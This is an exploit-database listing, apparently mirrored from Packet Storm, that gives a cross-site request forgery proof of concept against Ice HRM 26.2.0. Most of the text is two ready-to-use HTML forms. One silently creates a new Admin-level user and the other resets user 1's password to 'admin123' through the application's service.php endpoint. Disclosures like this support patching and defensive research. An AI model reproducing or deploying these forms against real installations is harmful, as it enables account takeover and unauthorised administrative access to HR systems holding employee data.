Share 
## https://sploitus.com/exploit?id=PACKETSTORM:156356
# Exploit Title: Ice HRM 26.2.0 - Cross-Site Request Forgery (Add User)  
# Date: 2020-02-14  
# Exploit Author: J3rryBl4nks  
# Vendor Homepage: https://icehrm.com/  
# Software Link: https://sourceforge.net/projects/icehrm/#Version 26.2.0  
# Tested on Windows 10/Kali Rolling  
  
# The Ice HRM Web Application is vulnerable to CSRF that leads to arbitrary user creation or password change:  
  
# POC for user creation:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://HOSTHERE/icehrm/app/service.php">  
<input type="hidden" name="t" value="User" />  
<input type="hidden" name="a" value="ca" />  
<input type="hidden" name="sa" value="saveUser" />  
<input type="hidden" name="mod" value="admin=users" />  
<input type="hidden" name="req" value="{"username":"test","email":"test@test.com","employee":"1","user_level":"Admin","user_roles":"[\"2\"]","lang":"NULL","default_module":"NULL","csrf":"c0bdded55472fab56c578386143a1854e6f8dd11"}" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>  
  
# POC for Password Change:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://HOSTHERE/icehrm/app/service.php">  
<input type="hidden" name="t" value="User" />  
<input type="hidden" name="a" value="ca" />  
<input type="hidden" name="sa" value="changePassword" />  
<input type="hidden" name="mod" value="admin=users" />  
<input type="hidden" name="req" value="{"id":1,"pwd":"admin123"}" />  
<input type="submit" value="Submit request" />  
</form>  
</body>  
</html>